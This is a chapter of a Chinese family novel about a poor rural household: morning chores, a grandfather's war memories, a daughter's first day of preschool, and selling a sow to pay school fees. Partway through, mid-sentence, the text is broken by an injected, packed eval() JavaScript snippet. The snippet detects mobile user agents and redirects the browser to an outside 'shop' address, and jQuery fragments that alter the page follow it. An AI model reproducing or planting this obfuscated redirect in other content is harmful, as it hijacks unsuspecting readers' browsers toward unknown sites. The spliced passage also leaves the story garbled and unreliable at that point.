喔——喔——喔——
天未亮,三角屋鸡笼里的一只公鸡打鸣了。
鸡笼里的其他鸡与村里的鸡群也争着鸣叫,一远一近,一呼一应。
宋家村跟随绿色的大地一同苏醒。
鸡笼下的鸭子们也醒了,啪啪地踏着杂乱的步伐。鸭子们伸长脖子,一只只脑袋朝着三角小屋的围栏,张开长长的嘴,嘎嘎地叫着。
宋卫枝的家迎来了全新的一日。
宋良和打开了四个孩子的房门。
一束光射入,卫辉微睁着朦胧的眼,在急促的鸭叫声中默默翻了个身。
宋良和进屋,经过屋里的两张床铺,进入屋内夹缝间的三角屋,打开竹栏。
鸭群们知道自己的路线,一摇一摆地晃着身子嘎嘎叫,想一同叫醒床上一直叫不醒的人类。
睡在卫月和卫双中间的卫枝微微睁眼,看见阿爸正赶着鸭子离开的模糊身影。此时,小彩率先扑开双翅飞出门外。
刘秀已经烧火煮大锅的白米粥。
良和将拌好的鸡食拎入三角屋时,卫辉醒了。他穿好衣服,下床伸了个懒腰,收好蚊帐,将自己的床铺叠好。
“去叫下阿双。快开学了,她暑假作业写完了吗?别天天只知道睡觉。”刘秀一边看火,一边对蹲在水槽旁刷牙的卫辉说道。
但卫辉并没有回她。
他才不愿意叫那个天天只知道睡懒觉的宋卫双。
卫枝揉着眼,打着哈欠迈过门槛。
“醒这么早。”刘秀瞥了一眼小女儿。
卫辉刷好了牙,嘴边还滴啦着水。他站起身,咧咧笑地望向小妹,从水缸里舀了一瓢水又蹲回水槽旁,边哗啦啦地倒水边用手擦脸。
刘秀煮好了白粥。将滚烫的粥盛到一只大铝盆里,又将冒着热气的盆放到装着半缸水的水缸中。
她又从锅里盛出一大碗热粥。在粥里打入刚从鸡笼捡来的鸡蛋,加上油盐和葱花姜末。这大一碗金黄的鸡蛋粥就好了。
她将鸡蛋粥分给两个孩子。
接着,她走进三角小屋把鸡群放出屋,再把小屋的鸡屎鸭屎清扫进桶里,一会好拿到菜园当肥料。
“阿双,太阳都晒屁股了,怎么还不起。”
树秀边说边从屋里提出两只桶。
一股屎尿味四散。
卫月捂着鼻子坐起身,望着母亲离去的背影,瞅了眼床另一头睡得跟头死猪一样的二妹,用脚轻轻踹了卫双一脚。
卫月姐妹三人睡一张床。卫月和卫枝睡一头,卫月睡外头,卫枝睡中间;卫双睡另一头。卫双怕鬼,夜里经常趁两人熟睡,跑到人家那头,硬挤在两人中间睡。昨夜又被卫月翻身时抓获,揍得她赶紧逃回自己的被窝。
“啊,干嘛踢我。”卫双抱怨地翻了个身,继续呼呼大睡。
卫月换好衣服,又将两张床铺的布帘拉开。今天,卫月要去新城区的雪糕厂做雪糕。
去的不只她,还有她的好姐妹翠芳。两人一起去上班,能呆在一块说说话,又能赚钱养家。真好,又跟上学时一样了。卫月心里别提多高兴。
鸟儿们站在苦楝树枝上唱歌、打闹,叽叽喳喳的,很是热闹。
卫枝轻轻拨开菜地里的南瓜叶找南瓜,正好撞见一只逃跑的青蛙。徐爱莲在旁边的菜园里已经翻了几垄菜地,正十分投入地撒着新种子。
今天的南瓜又长大了不少,卫枝满意地检查着一个个南瓜。看了这头,又跑去拨那头的叶子。
“阿妈,今天新长出了两个小南瓜耶。”卫枝指着一个还带着枯蔫花瓣的小南瓜兴奋地喊着。
刘秀摘了一捧新鲜的南瓜花苗递给卫枝。这黄色的花摘去花蕊,剩下的可以用来跟鸡蛋或猪肉开汤吃。那花心吃起来甜甜的。
卫枝抓着一大捧鲜花从菜园走回小院。此时,石棉瓦房里圈养的几头肥猪叫得正欢。
卫枝见一只大猪鼻子和几只粉色的小猪鼻子正探出围栏。前些天,一头矫健的小公猪还跳出了猪圈,让阿爸阿妈和阿哥阿姐们费了好大劲才把它赶回去。
卫枝从屋里搬出一只小板凳和一把竹椅,等阿妈从菜园忙完回来给她梳头。
宋秉志的声音从附近的院子传来。此时他正坐在走廊的竹椅上舒舒服服地晒着和煦的阳光,三两个捧着大瓷碗的男人围着他,听他讲到当年抗美援朝的故事。
宋秉志是个老兵,参加过抗日战争和抗美援朝。
“打鸭绿江那会,老美的飞机炮弹就跟下雨一样密密麻麻往身边炸,人要是跑不快就被炸得四分五裂,胳膊呀腿呀到处乱飞,身边的人一个个倒下。那会根本顾不上害怕,只管拼命往前跑,跑赢了就能活命……”
“我这算运气好的,只是被炮弹碎片射穿了膝盖,平时走路还不成问题,但是有多少人在那丢了性命,一起去的人又有多少能一起回来的……”
卫枝有时醒得早也会跑到阿爷的院子听故事。
她总倚靠在宋秉志的房门口,一边晒着太阳听故事,一边盯着早上来水井挑水的人。
有的肩上一晃一悠地挑着两桶水,手里还拎着一桶水,慢慢悠悠地走出院子。桶中的水在越过小院门槛时晃动飞溅,溅湿了门槛上的那块青石。一人刚走,又一人迈过光滑的门槛进来,院中水井里的水却源源不断。
卫枝和阿哥阿姐围坐在饭桌前吃晚饭时,听宋良和讲过宋秉志参军的故事。
宋良和说,阿爷宋秉志青年时爱打牌赌钱。
有一日他从家里的米缸偷了些米换了钱去打赌,最后全输光了。回家路上恰巧遇上国民党在村里征兵,那时报名参军还有钱拿。宋秉志害怕回家被徐爱莲骂,索性就跟村里的几人一块报了名。
宋秉志当时还耍了心眼,担心家里人发现不让他走,就报了自己临时取的假名。
宋秉志把钱偷偷放回家,就去参了军。
人不见了,一大家子人加上左邻右舍们都急得把全村、全镇翻个遍,没找到。
听人猜测他可能去当兵了。
他们立马跑到村口的榜单前找名字。几人认认真真找了好几遍都没找到。
榜上几乎所有的名字都对得上号,就剩一个叫“宋志”的。
宋志?谁是宋志?!
完了。一家人瘫在地上,哭天喊地。
军人宋志就这样一路当兵,蒙祖宗保佑,一路从国民党兵变成了八路军,打退了鬼子,又跟老战友们一块横渡鸭绿江。战争结束,天下太平之后,宋秉志总算平平安安地回家。
宋秉志回了家,才发现家中生了变故。自己的大儿子宋良明前两年就病死了。宋秉志当场痛哭流涕。再后来宋秉志被安排进了供销社,和徐爱莲又生了良和、良平和玉珍。
阳光透过冬青树,将斑驳的光影投在院子里。刘秀将梳子、皮绳、卡子、头花放在院里的洗衣石板上,坐在石板上给卫枝梳头。
小彩在院中用竹编围起来的鸭舍里嘎嘎叫着。卫枝想下午有空找林帆一块到稻田旁的小溪,给鸭子们捡点福寿螺回来。
它们可爱吃福寿螺肉了,卫枝有空就拎着家里的小桶去小溪捡福寿螺。
小溪也有很多五彩缤纷的小鱼,水草下还有许多福寿螺,水草上附着一颗颗堆积得密密麻麻的粉艳艳的福寿螺卵。
宋良和会把卫枝他们捡回来的福寿螺的壳敲碎,然后把捣烂的福寿螺丢进鸭舍。
鸭群们会伸长脖子,踏着箭般的步伐啪嗒啪嗒地抢食,享受着改善伙食的快乐时光。它们快速地啄食螺肉并时不时发出嘎嘎的叫声。
*
上午九点多,刘秀带着卫双和卫枝从家里出发。上了屋后边的陡峭的高坡,再往坡上的大草坪走了十几米就到了村里的小学。
走进学校的大铁门,映入眼帘的是小学唯一的一栋青白相间的教学楼。一楼中央的一间教室被用来当小学老师们的办公室。
陆陆续续有家长领着孩子进进出出。
办公室里,每个老师身边都围着几个家长和孩子,孩子手上都抱着两本暑假作业。
卫双的暑假作业还是昨晚临时抄了好友阿蛮的。管它对错,能写完就不会挨罚。卫双整个假期也就只有这么一次,勤勤恳恳地抄到了半夜。
卫双将自己的作业交给了语文老师。宋老师笑盈盈地与刘秀聊着天。
“这是你的小女儿?”宋老师看着刘秀手里牵着的小女孩,“长得真漂亮。”
卫枝见过宋老师。之前学校停水,宋老师还来院里挑过水。
“是的,叫宋卫枝,今年上学前班。”
刘秀回答,随后脸上突然露出一丝不好意思的神情继续说:
“宋老师,我们阿双今年的学费,能不能,再晚两周再交。阿辉这学期升初中,阿枝也上学,学费还不够。”
宋老师是自己村的人,知道大家的难处。村里大多数人家都有三四个孩子,家境困
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372546|199991||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
难,学生延期交学费也是常事。
“没事,先让孩子上学,晚两周再交也行。”
宋老师知道刘秀夫妻两人都是很讲诚信的人。孩子的学费虽然偶尔也会延期交,却从不拖欠。
从办公室出来,刘秀又带着卫双与卫枝走向教学楼对面的一排瓦房,穿过瓦房中间的过道,又经过几棵枇杷树和芒果树,来到校园内部。
在园区中心,卫枝望见了一个很大的圆形花坛。花坛被一簇簇红色的胭脂花丛围绕。
花坛中间种了一棵非常大的老榕树。老榕树枝繁叶茂,根茎错乱地扎在地里,好像在这里住了好多好多年。
卫枝抬头望见了榕树上挂着许多长须。
她认得这棵大榕树,也认得这个花坛。她在大姐卫月的小学毕业照上见过。
卫月在花坛前拍了毕业合照,又在花坛的榕树前跟她的同学翠芳一块挽着老师的手拍了张合照。
在合照里,她们穿着蓝色的校服,一手比着耶,露着八颗牙的微笑。卫枝觉得阿姐上学很快乐。
卫枝与阿妈、二姐穿过学校生了锈的绿色双杠,经过两排龙眼树,走到了园区最里头——最后一排瓦屋。
村里的小班、中班、大班和学前班都在这排瓦房里。
卫枝直接上学前班。
刘秀领着她与卫双进入一间办公室。几张课桌拼在一块就成了几个老师的办公桌。
学前班老师是村里的文燕燕,卫月、卫辉、卫双都是她教的。刘秀带着卫双与卫枝向老师问好。
“文老师好。”卫双小声地喊道。她并不确定文老师是否还记不记得自己。
“阿枝,快说文老师好。”刘秀将小女儿卫枝拉到自己跟前,弯着身跟女儿介绍文老师。
“文老师好。”卫枝望着眼前陌生的女人,用稚嫩的嗓音生怯地喊着。
“你家小女儿长得比她阿哥阿姐还好。兄妹几人长得都俊。”
见到眼前梳着两条精致辫子、脸蛋粉粉嫩嫩、长得十分水灵的小女孩,文燕燕大打心底里喜欢这个小丫头。
“大家也都说阿枝长得比阿哥阿姐好些。”刘秀顺着应和道。
刘秀交了钱,文老师给她开了张收据。临走时,文老师还给卫枝送了一朵小红花。
卫枝拿着小红花,拉着卫双,蹦蹦跳跳地走在前边。
“二姐,阿爷给了我一元钱。我们一会去买东西吃吧。”卫枝从兜里掏出从宋秉志屋里拿到的钱。
“太好了,我刚才在草坪看见路口有卖麦芽糖。一会我们去买。”卫双笑着回头看了看阿妈,“阿妈,我和阿枝先去买东西。”
见刘秀点头,两小丫头开心地一路小跑。
叮叮叮——
一个陌生的大叔蹲坐在一只扁担后边,敲着铁块。
两小丫头好奇地围着扁担,看着大叔从奶白色的麦芽糖团里拉扯出一条长长的糖条。
“多少钱一根麦芽糖?”卫双看着白色的麦芽糖问价。
“五毛一根。”
姐妹俩相互看了一眼,卫双开心地说:“给我们来一根。”
“糖要不要剪?”
“要。”卫枝抢先回答。
看着大叔将一长条麦芽糖剪成了好几块,卫枝心里别提多开心了。她想着,一会要给瑶瑶一块,也给林帆和玉恩一人一块。
卫双与卫枝姐妹俩吃着甜甜的、拉得老长的麦芽糖,一直沿着大草坪下坡回家。
卫枝跑到宋良平屋里找瑶瑶。
宋秉志也给了瑶瑶钱。这学期,他的两个小孙女都要上学了,宋秉志心里开心呀。每人给一块钱让她们去买点好吃的,剩下的钱让她们再买点作业本和铅笔。
刘秀回到家,见良和已经带着收猪的人在猪圈选猪。当然现在他们家能卖的就只有那头最肥的大母猪。母猪和几头惊恐的小猪被逼到了一处墙角,在两个男人前后围攻下,母猪被扯着后腿强行拉出猪圈,猪圈回荡起一声声悲壮的惨叫。
装上了车,大母猪也不叫了。舒舒服服吃吃睡睡享受了这么久,总该为这个贫苦的家庭再做点什么。孩子们的学费可全指着它呢。
到了下午,屠宰场的人把钱和一条热着的猪血肠送来宋家。宋良和拿着钱,急忙载着儿子卫辉去村里的鸡中介报到。
卫枝带着瑶瑶和林帆从小溪拎回了一小桶的福寿螺。刚进院,刘秀便趁热将猪血肠切好,给孩子们分猪血肠吃。